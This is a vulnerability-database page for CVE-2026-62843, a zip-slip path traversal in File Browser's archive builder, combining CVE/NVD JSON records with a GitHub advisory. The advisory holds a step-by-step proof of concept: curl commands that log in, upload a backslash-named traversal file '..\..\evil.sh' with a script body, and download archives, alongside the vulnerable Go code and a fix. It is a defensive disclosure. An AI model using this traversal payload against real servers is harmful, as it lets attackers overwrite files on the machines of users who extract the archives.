Vulnerability-Lookup

CVE-2026-62843 (GCVE-0-2026-62843)

Vulnerability from cvelistv5 – Published: 2026-07-15 15:42 – Updated: 2026-07-15 16:32

Title

File Browser: Archive builder turns backslash filenames into path traversal (zip-slip)

Summary

File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. From 2.63.6 to 2.63.16, File Browser's archive builder uses strings.ReplaceAll(nameInArchive, "\", "/"), which turns a POSIX filename such as ..\..\evil.sh into the archive entry ../../evil.sh, allowing a user with upload permission to plant a backslash-named file that escapes the extraction directory when another user downloads and extracts the generated zip or tar archive. This issue is fixed in version 2.63.17.

Severity

6.8 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-07-15 16:25 UTC

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
CWE-23 - Relative Path Traversal

Assigner

GitHub_M mitre root Scorecard

References

3 references

URL	Tags
https://github.com/filebrowser/filebrowser/securi…	x_refsource_CONFIRM
https://github.com/filebrowser/filebrowser/commit…	x_refsource_MISC
https://github.com/filebrowser/filebrowser/releas…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
filebrowser	filebrowser	Affected: >= 2.63.6, < 2.63.17	guessed

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-62843",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-07-15T16:25:16.686275Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-07-15T16:32:21.438Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-83xp-526h-j3ww"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "filebrowser",
          "vendor": "filebrowser",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 2.63.6, \u003c 2.63.17"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. From 2.63.6 to 2.63.16, File Browser\u0027s archive builder uses strings.ReplaceAll(nameInArchive, \"\\\", \"/\"), which turns a POSIX filename such as ..\\..\\evil.sh into the archive entry ../../evil.sh, allowing a user with upload permission to plant a backslash-named file that escapes the extraction directory when another user downloads and extracts the generated zip or tar archive. This issue is fixed in version 2.63.17."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 6.8,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "CHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-22",
              "description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-23",
              "description": "CWE-23: Relative Path Traversal",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-07-15T15:42:19.122Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-83xp-526h-j3ww",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-83xp-526h-j3ww"
        },
        {
          "name": "https://github.com/filebrowser/filebrowser/commit/8503ba61ff51d48a7313896483d130eb6a5abfe0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/filebrowser/filebrowser/commit/8503ba61ff51d48a7313896483d130eb6a5abfe0"
        },
        {
          "name": "https://github.com/filebrowser/filebrowser/releases/tag/v2.63.17",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/filebrowser/filebrowser/releases/tag/v2.63.17"
        }
      ],
      "source": {
        "advisory": "GHSA-83xp-526h-j3ww",
        "discovery": "UNKNOWN"
      },
      "title": "File Browser: Archive builder turns backslash filenames into path traversal (zip-slip)"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-62843",
    "datePublished": "2026-07-15T15:42:19.122Z",
    "dateReserved": "2026-07-14T21:10:50.031Z",
    "dateUpdated": "2026-07-15T16:32:21.438Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-62843",
      "date": "2026-10-03",
      "epss": "0.00391",
      "percentile": "0.30909"
    },
    "nvd": {
      "cve": {
        "affected": [
          {
            "affectedData": [
              {
                "product": "filebrowser",
                "vendor": "filebrowser",
                "versions": [
                  {
                    "status": "affected",
                    "version": "\u003e= 2.63.6, \u003c 2.63.17"
                  }
                ]
              }
            ],
            "source": "security-advisories@github.com"
          }
        ],
        "cveTags": [],
        "descriptions": [
          {
            "lang": "en",
            "value": "File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. From 2.63.6 to 2.63.16, File Browser\u0027s archive builder uses strings.ReplaceAll(nameInArchive, \"\\\", \"/\"), which turns a POSIX filename such as ..\\..\\evil.sh into the archive entry ../../evil.sh, allowing a user with upload permission to plant a backslash-named file that escapes the extraction directory when another user downloads and extracts the generated zip or tar archive. This issue is fixed in version 2.63.17."
          }
        ],
        "id": "CVE-2026-62843",
        "lastModified": "2026-07-15T18:15:13.373",
        "metrics": {
          "cvssMetricV31": [
            {
              "cvssData": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "NONE",
                "baseScore": 6.8,
                "baseSeverity": "MEDIUM",
                "confidentialityImpact": "NONE",
                "integrityImpact": "HIGH",
                "privilegesRequired": "LOW",
                "scope": "CHANGED",
                "userInteraction": "REQUIRED",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:N",
                "version": "3.1"
              },
              "exploitabilityScore": 2.3,
              "impactScore": 4.0,
              "source": "security-advisories@github.com",
              "type": "Secondary"
            }
          ],
          "ssvcV203": [
            {
              "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "ssvcData": {
                "id": "CVE-2026-62843",
                "options": [
                  {
                    "exploitation": "poc"
                  },
                  {
                    "automatable": "no"
                  },
                  {
                    "technicalImpact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-07-15T16:25:16.686275Z",
                "version": "2.0.3"
              }
            }
          ]
        },
        "published": "2026-07-15T16:16:52.160",
        "references": [
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/filebrowser/filebrowser/commit/8503ba61ff51d48a7313896483d130eb6a5abfe0"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/filebrowser/filebrowser/releases/tag/v2.63.17"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-83xp-526h-j3ww"
          },
          {
            "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
            "url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-83xp-526h-j3ww"
          }
        ],
        "sourceIdentifier": "security-advisories@github.com",
        "vulnStatus": "Deferred",
        "weaknesses": [
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-22"
              },
              {
                "lang": "en",
                "value": "CWE-23"
              }
            ],
            "source": "security-advisories@github.com",
            "type": "Secondary"
          }
        ]
      }
    },
    "suse_vex": {
      "aggregate_severity": "moderate",
      "current_release_date": "2026-07-30T16:35:38Z",
      "cve": "CVE-2026-62843",
      "id": "CVE-2026-62843",
      "initial_release_date": "2026-07-30T16:35:38Z",
      "source": "SUSE CSAF VEX",
      "status": "interim",
      "title": "SUSE CVE CVE-2026-62843",
      "url": "https://ftp.suse.com/pub/projects/security/csaf-vex/cve-2026-62843.json",
      "version": "2"
    },
    "vulnrichment": {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2026-62843",
                    "options": [
                      {
                        "Exploitation": "poc"
                      },
                      {
                        "Automatable": "no"
                      },
                      {
                        "Technical Impact": "partial"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2026-07-15T16:25:16.686275Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2026-07-15T16:25:36.567Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "references": [
              {
                "tags": [
                  "exploit"
                ],
                "url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-83xp-526h-j3ww"
              }
            ],
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "product": "filebrowser",
              "vendor": "filebrowser",
              "versions": [
                {
                  "status": "affected",
                  "version": "\u003e= 2.63.6, \u003c 2.63.17"
                }
              ]
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. From 2.63.6 to 2.63.16, File Browser\u0027s archive builder uses strings.ReplaceAll(nameInArchive, \"\\\", \"/\"), which turns a POSIX filename such as ..\\..\\evil.sh into the archive entry ../../evil.sh, allowing a user with upload permission to plant a backslash-named file that escapes the extraction directory when another user downloads and extracts the generated zip or tar archive. This issue is fixed in version 2.63.17."
            }
          ],
          "metrics": [
            {
              "cvssV3_1": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "NONE",
                "baseScore": 6.8,
                "baseSeverity": "MEDIUM",
                "confidentialityImpact": "NONE",
                "integrityImpact": "HIGH",
                "privilegesRequired": "LOW",
                "scope": "CHANGED",
                "userInteraction": "REQUIRED",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:N",
                "version": "3.1"
              }
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-22",
                  "description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            },
            {
              "descriptions": [
                {
                  "cweId": "CWE-23",
                  "description": "CWE-23: Relative Path Traversal",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-07-15T15:42:19.122Z",
            "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
            "shortName": "GitHub_M"
          },
          "references": [
            {
              "name": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-83xp-526h-j3ww",
              "tags": [
                "x_refsource_CONFIRM"
              ],
              "url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-83xp-526h-j3ww"
            },
            {
              "name": "https://github.com/filebrowser/filebrowser/commit/8503ba61ff51d48a7313896483d130eb6a5abfe0",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/filebrowser/filebrowser/commit/8503ba61ff51d48a7313896483d130eb6a5abfe0"
            },
            {
              "name": "https://github.com/filebrowser/filebrowser/releases/tag/v2.63.17",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/filebrowser/filebrowser/releases/tag/v2.63.17"
            }
          ],
          "source": {
            "advisory": "GHSA-83xp-526h-j3ww",
            "discovery": "UNKNOWN"
          },
          "title": "File Browser: Archive builder turns backslash filenames into path traversal (zip-slip)"
        }
      },
      "cveMetadata": {
        "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "assignerShortName": "GitHub_M",
        "cveId": "CVE-2026-62843",
        "datePublished": "2026-07-15T15:42:19.122Z",
        "dateReserved": "2026-07-14T21:10:50.031Z",
        "dateUpdated": "2026-07-15T16:32:21.438Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-62843

Vulnerability from fkie_nvd - Published: 2026-07-15 16:16 - Updated: 2026-07-15 18:15

Severity

6.8 (Medium) - CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/filebrowser/filebrowser/commit/8503ba61ff51d48a7313896483d130eb6a5abfe0
	security-advisories@github.com	https://github.com/filebrowser/filebrowser/releases/tag/v2.63.17
	security-advisories@github.com	https://github.com/filebrowser/filebrowser/security/advisories/GHSA-83xp-526h-j3ww
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/filebrowser/filebrowser/security/advisories/GHSA-83xp-526h-j3ww

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "filebrowser",
          "vendor": "filebrowser",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 2.63.6, \u003c 2.63.17"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. From 2.63.6 to 2.63.16, File Browser\u0027s archive builder uses strings.ReplaceAll(nameInArchive, \"\\\", \"/\"), which turns a POSIX filename such as ..\\..\\evil.sh into the archive entry ../../evil.sh, allowing a user with upload permission to plant a backslash-named file that escapes the extraction directory when another user downloads and extracts the generated zip or tar archive. This issue is fixed in version 2.63.17."
    }
  ],
  "id": "CVE-2026-62843",
  "lastModified": "2026-07-15T18:15:13.373",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 6.8,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "NONE",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "CHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.3,
        "impactScore": 4.0,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-62843",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-07-15T16:25:16.686275Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-07-15T16:16:52.160",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/filebrowser/filebrowser/commit/8503ba61ff51d48a7313896483d130eb6a5abfe0"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/filebrowser/filebrowser/releases/tag/v2.63.17"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-83xp-526h-j3ww"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-83xp-526h-j3ww"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-22"
        },
        {
          "lang": "en",
          "value": "CWE-23"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-83XP-526H-J3WW

Vulnerability from github – Published: 2026-07-20 22:16 – Updated: 2026-07-20 22:16

Summary

File Browser: Archive builder turns backslash filenames into path traversal (zip-slip)

Details

Summary

The fix for GHSA-gxjx-7m74-hcq8 / CVE-2026-54093 (shipped in v2.63.6) added a strings.ReplaceAll(nameInArchive, "\\", "/") step to the archive builder; this was the advisory's recommended "Primary Fix." On a Linux host a backslash is a legal, non-separator filename character, so replacing it with the real POSIX separator / manufactures a /-delimited traversal sequence out of a benign single file name. The fix neutralized the Windows-only vector but reintroduced the same class of bug on POSIX systems, and the advisory's "Secondary Mitigation" (reject backslash filenames at creation time) was never implemented, so the malicious file can still be planted.

A file named ..\..\evil.sh, one ordinary regular file on a Linux server, is emitted into generated zip/tar archives as the entry ../../evil.sh. Any user with upload (Create) permission can plant such a file; when anyone later downloads the containing folder as an archive and extracts it, the entry escapes the extraction directory on the victim's machine. The original advisory's own payload ..\..\..\Windows\System32\evil.txt now becomes ../../../Windows/System32/evil.txt, which, unlike before the fix, also traverses on Linux and macOS extractors. The fix turned a Windows-only zip-slip into a cross-platform one.

Details

1. The archive builder rewrites backslashes into path separators (http/raw.go:133)

nameInArchive := strings.TrimPrefix(path, commonPath)
nameInArchive = strings.TrimPrefix(nameInArchive, string(filepath.Separator))
nameInArchive = filepath.ToSlash(nameInArchive)        // line 127, host separator only
// ... comment explaining the intent to strip Windows separators ...
nameInArchive = strings.ReplaceAll(nameInArchive, "\\", "/")   // line 133, creates traversal

filepath.ToSlash only rewrites the host separator, so on Linux a stored backslash survives until this explicit ReplaceAll. Replacing \ with the real separator / produces traversal rather than neutralizing it.

2. The rewritten name is used verbatim as the archive entry path (http/raw.go:137)

archiveFiles = append(archiveFiles, archives.FileInfo{
    FileInfo:      info,
    NameInArchive: nameInArchive,   // no path.Clean, no ".." rejection
    Open:          func() (fs.File, error) { return d.user.Fs.Open(path) },
})

The value is handed to the archiver, which writes the entry under exactly that name. There is no path.Clean, no rejection of .. segments, and no check that the entry stays within the archive root.

3. The malicious name is plantable through normal upload (http/resource.go, resourcePostHandler)

A backslash is a valid byte in a Linux filename, so ..\..\evil.sh is a single regular file inside the user's scope, it does not traverse on the server and passes the scope guard. resourcePostHandler derives the filename from r.URL.Path and cleans it with path.Clean("/" + ...), which only treats / as a separator; the URL-encoded segment ..%5C..%5Cevil.sh contains no /, so cleaning leaves it intact and the file is written verbatim. This is the "Secondary Mitigation" the parent advisory recommended but that was never implemented; backslash-containing filenames are still accepted at creation time.

4. Every archive format shares the sink

NameInArchive is the single shared field for all algo values (zip, tar, targz, …), so the traversal entry appears identically in every supported archive type.

PoC

Tested against filebrowser/filebrowser:v2.63.15.

Attack Vector: plant a backslash-named file via upload, then download the folder as an archive:

#1. Create a dir in /tmp and start a fresh v2.63.15 container
mkdir -p /tmp/filebrowser-test/srv
docker run -d --name filebrowser-test -p 8090:80 -v /tmp/filebrowser-test/srv:/srv filebrowser/filebrowser:v2.63.15 && sleep 4
B=http://localhost:8090

#2. Log in (admin here, but any account with Create permission works)
AP=$(docker logs filebrowser-test 2>&1 | grep -o 'password: .*' | awk '{print $2}')
T=$(curl -s -X POST $B/api/login -H 'Content-Type: application/json' -d "{\"username\":\"admin\",\"password\":\"$AP\"}")

#3. Create the folder ziptest/
curl -s -X POST "$B/api/resources/ziptest/" -H "X-Auth: $T" -o /dev/null

#4. Upload one file whose name contains backslashes (a single legal Linux filename inside scope; does not traverse on the server)
curl -s -X POST "$B/api/resources/ziptest/..%5C..%5Cevil.sh?override=true" -H "X-Auth: $T" \
     --data-binary $'#!/bin/sh\necho PWNED' -o /dev/null

#5. Download the folder as a zip and as a targz
curl -s "$B/api/raw/ziptest?algo=zip"   -H "X-Auth: $T" -o out.zip
curl -s "$B/api/raw/ziptest?algo=targz" -H "X-Auth: $T" -o out.tar.gz

#6. Inspect the archive entry names: the backslash->slash rewrite turned ..\..\evil.sh into ../../evil.sh
python3 -c "import zipfile;print('ZIP:',zipfile.ZipFile('out.zip').namelist())"
python3 -c "import tarfile;print('TAR:',[m.name for m in tarfile.open('out.tar.gz').getmembers()])"

Expected output (reproduced on a fresh filebrowser-test container, v2.63.15):

POST /api/resources/ziptest/..%5C..%5Cevil.sh?override=true  -> 200   (stored on disk as the single file  ..\..\evil.sh)
GET  /api/raw/ziptest?algo=zip                               -> 200   (zip bytes)
GET  /api/raw/ziptest?algo=targz                             -> 200   (gzip bytes)

The archive entry names, the value the reader should check, come back as the traversal path manufactured from the backslashes:

ZIP: ['../../evil.sh']
TAR: ['../../evil.sh']

Extracting either archive with a permissive extractor writes evil.sh two directories above the intended target, outside the extraction folder.

Impact

Zip-slip / tar-slip on the victim host: extracting a downloaded archive writes the planted file to an attacker-chosen relative path outside the extraction directory, enabling overwrite of configuration, startup scripts, or other files, potentially leading to code execution depending on what is overwritten.
Who is affected: any party who downloads a folder-as-archive containing the planted file, the folder owner, a collaborator, an admin performing a backup, or a recipient of a shared/public link to the folder.
Regression that widened the blast radius: before this rewrite, ..\..\evil.sh only traversed on Windows extractors; afterwards the entry is ../../evil.sh and traverses on Linux and macOS extractors as well.
Low attacker bar: only Create permission (the default for normal users) is needed to plant the file; the traversal triggers on the victim's extraction step.

Recommended Fix

The current ReplaceAll(nameInArchive, "\\", "/") is the root cause and should be removed: replacing a backslash with the POSIX separator / creates the very traversal it is meant to prevent. Neutralize backslashes instead, and reject traversal in archive entry names:

// http/raw.go, getFiles, replace the backslash->slash rewrite:
nameInArchive = strings.ReplaceAll(nameInArchive, "\\", "_") // neutralize, do not separate

// And reject any residual traversal before adding the entry:
clean := path.Clean("/" + nameInArchive)
if strings.Contains(nameInArchive, "..") || clean != "/"+nameInArchive {
    return nil, fmt.Errorf("unsafe archive entry name: %q", nameInArchive)
}

Additionally, implement the "Secondary Mitigation" recommended in GHSA-gxjx-7m74-hcq8 but never shipped: reject or sanitize filenames containing backslashes at creation time in http/resource.go (resourcePostHandler), so backslash-containing names can never be stored in the first place. Defending only at archive-build time is fragile; defending at both creation and archive-build time closes the class.

Severity

6.8 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.63.16"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/filebrowser/filebrowser/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.63.6"
            },
            {
              "fixed": "2.63.17"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-62843"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-23"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-20T22:16:09Z",
    "nvd_published_at": "2026-07-15T16:16:52Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe fix for `GHSA-gxjx-7m74-hcq8` / `CVE-2026-54093` (shipped in v2.63.6) added a `strings.ReplaceAll(nameInArchive, \"\\\\\", \"/\")` step to the archive builder; this was the advisory\u0027s recommended \"Primary Fix.\" On a Linux host a backslash is a legal, non-separator filename character, so replacing it with the real POSIX separator `/` **manufactures** a `/`-delimited traversal sequence out of a benign single file name. The fix neutralized the Windows-only vector but reintroduced the same class of bug on POSIX systems, and the advisory\u0027s \"Secondary Mitigation\" (reject backslash filenames at creation time) was never implemented, so the malicious file can still be planted.\n\nA file named `..\\..\\evil.sh`, one ordinary regular file on a Linux server, is emitted into generated zip/tar archives as the entry `../../evil.sh`. Any user with upload (Create) permission can plant such a file; when anyone later downloads the containing folder as an archive and extracts it, the entry escapes the extraction directory on the victim\u0027s machine. The original advisory\u0027s own payload `..\\..\\..\\Windows\\System32\\evil.txt` now becomes `../../../Windows/System32/evil.txt`, which, unlike before the fix, also traverses on Linux and macOS extractors. The fix turned a Windows-only zip-slip into a cross-platform one.\n\n## Details\n\n**1. The archive builder rewrites backslashes into path separators (`http/raw.go:133`)**\n\n```go\nnameInArchive := strings.TrimPrefix(path, commonPath)\nnameInArchive = strings.TrimPrefix(nameInArchive, string(filepath.Separator))\nnameInArchive = filepath.ToSlash(nameInArchive)        // line 127, host separator only\n// ... comment explaining the intent to strip Windows separators ...\nnameInArchive = strings.ReplaceAll(nameInArchive, \"\\\\\", \"/\")   // line 133, creates traversal\n```\n\n`filepath.ToSlash` only rewrites the host separator, so on Linux a stored backslash survives until this explicit `ReplaceAll`. Replacing `\\` with the real separator `/` produces traversal rather than neutralizing it.\n\n**2. The rewritten name is used verbatim as the archive entry path (`http/raw.go:137`)**\n\n```go\narchiveFiles = append(archiveFiles, archives.FileInfo{\n    FileInfo:      info,\n    NameInArchive: nameInArchive,   // no path.Clean, no \"..\" rejection\n    Open:          func() (fs.File, error) { return d.user.Fs.Open(path) },\n})\n```\n\nThe value is handed to the archiver, which writes the entry under exactly that name. There is no `path.Clean`, no rejection of `..` segments, and no check that the entry stays within the archive root.\n\n**3. The malicious name is plantable through normal upload (`http/resource.go`, `resourcePostHandler`)**\n\nA backslash is a valid byte in a Linux filename, so `..\\..\\evil.sh` is a single regular file inside the user\u0027s scope, it does not traverse on the server and passes the scope guard. `resourcePostHandler` derives the filename from `r.URL.Path` and cleans it with `path.Clean(\"/\" + ...)`, which only treats `/` as a separator; the URL-encoded segment `..%5C..%5Cevil.sh` contains no `/`, so cleaning leaves it intact and the file is written verbatim. This is the \"Secondary Mitigation\" the parent advisory recommended but that was never implemented; backslash-containing filenames are still accepted at creation time.\n\n**4. Every archive format shares the sink**\n\n`NameInArchive` is the single shared field for all `algo` values (`zip`, `tar`, `targz`, \u2026), so the traversal entry appears identically in every supported archive type.\n\n## PoC\n\nTested against `filebrowser/filebrowser:v2.63.15`.\n\n**Attack Vector: plant a backslash-named file via upload, then download the folder as an archive:**\n\n```bash\n#1. Create a dir in /tmp and start a fresh v2.63.15 container\nmkdir -p /tmp/filebrowser-test/srv\ndocker run -d --name filebrowser-test -p 8090:80 -v /tmp/filebrowser-test/srv:/srv filebrowser/filebrowser:v2.63.15 \u0026\u0026 sleep 4\nB=http://localhost:8090\n\n#2. Log in (admin here, but any account with Create permission works)\nAP=$(docker logs filebrowser-test 2\u003e\u00261 | grep -o \u0027password: .*\u0027 | awk \u0027{print $2}\u0027)\nT=$(curl -s -X POST $B/api/login -H \u0027Content-Type: application/json\u0027 -d \"{\\\"username\\\":\\\"admin\\\",\\\"password\\\":\\\"$AP\\\"}\")\n\n#3. Create the folder ziptest/\ncurl -s -X POST \"$B/api/resources/ziptest/\" -H \"X-Auth: $T\" -o /dev/null\n\n#4. Upload one file whose name contains backslashes (a single legal Linux filename inside scope; does not traverse on the server)\ncurl -s -X POST \"$B/api/resources/ziptest/..%5C..%5Cevil.sh?override=true\" -H \"X-Auth: $T\" \\\n     --data-binary $\u0027#!/bin/sh\\necho PWNED\u0027 -o /dev/null\n\n#5. Download the folder as a zip and as a targz\ncurl -s \"$B/api/raw/ziptest?algo=zip\"   -H \"X-Auth: $T\" -o out.zip\ncurl -s \"$B/api/raw/ziptest?algo=targz\" -H \"X-Auth: $T\" -o out.tar.gz\n\n#6. Inspect the archive entry names: the backslash-\u003eslash rewrite turned ..\\..\\evil.sh into ../../evil.sh\npython3 -c \"import zipfile;print(\u0027ZIP:\u0027,zipfile.ZipFile(\u0027out.zip\u0027).namelist())\"\npython3 -c \"import tarfile;print(\u0027TAR:\u0027,[m.name for m in tarfile.open(\u0027out.tar.gz\u0027).getmembers()])\"\n```\n\nExpected output (reproduced on a fresh `filebrowser-test` container, v2.63.15):\n\n```http\nPOST /api/resources/ziptest/..%5C..%5Cevil.sh?override=true  -\u003e 200   (stored on disk as the single file  ..\\..\\evil.sh)\nGET  /api/raw/ziptest?algo=zip                               -\u003e 200   (zip bytes)\nGET  /api/raw/ziptest?algo=targz                             -\u003e 200   (gzip bytes)\n```\n\nThe archive entry names, the value the reader should check, come back as the traversal path manufactured from the backslashes:\n\n```\nZIP: [\u0027../../evil.sh\u0027]\nTAR: [\u0027../../evil.sh\u0027]\n```\n\nExtracting either archive with a permissive extractor writes `evil.sh` two directories above the intended target, outside the extraction folder.\n\n## Impact\n\n- **Zip-slip / tar-slip on the victim host:** extracting a downloaded archive writes the planted file to an attacker-chosen relative path outside the extraction directory, enabling overwrite of configuration, startup scripts, or other files, potentially leading to code execution depending on what is overwritten.\n- **Who is affected:** any party who downloads a folder-as-archive containing the planted file, the folder owner, a collaborator, an admin performing a backup, or a recipient of a shared/public link to the folder.\n- **Regression that widened the blast radius:** before this rewrite, `..\\..\\evil.sh` only traversed on Windows extractors; afterwards the entry is `../../evil.sh` and traverses on Linux and macOS extractors as well.\n- **Low attacker bar:** only Create permission (the default for normal users) is needed to plant the file; the traversal triggers on the victim\u0027s extraction step.\n\n## Recommended Fix\n\nThe current `ReplaceAll(nameInArchive, \"\\\\\", \"/\")` is the root cause and should be removed: replacing a backslash with the POSIX separator `/` creates the very traversal it is meant to prevent. Neutralize backslashes instead, and reject traversal in archive entry names:\n\n```go\n// http/raw.go, getFiles, replace the backslash-\u003eslash rewrite:\nnameInArchive = strings.ReplaceAll(nameInArchive, \"\\\\\", \"_\") // neutralize, do not separate\n\n// And reject 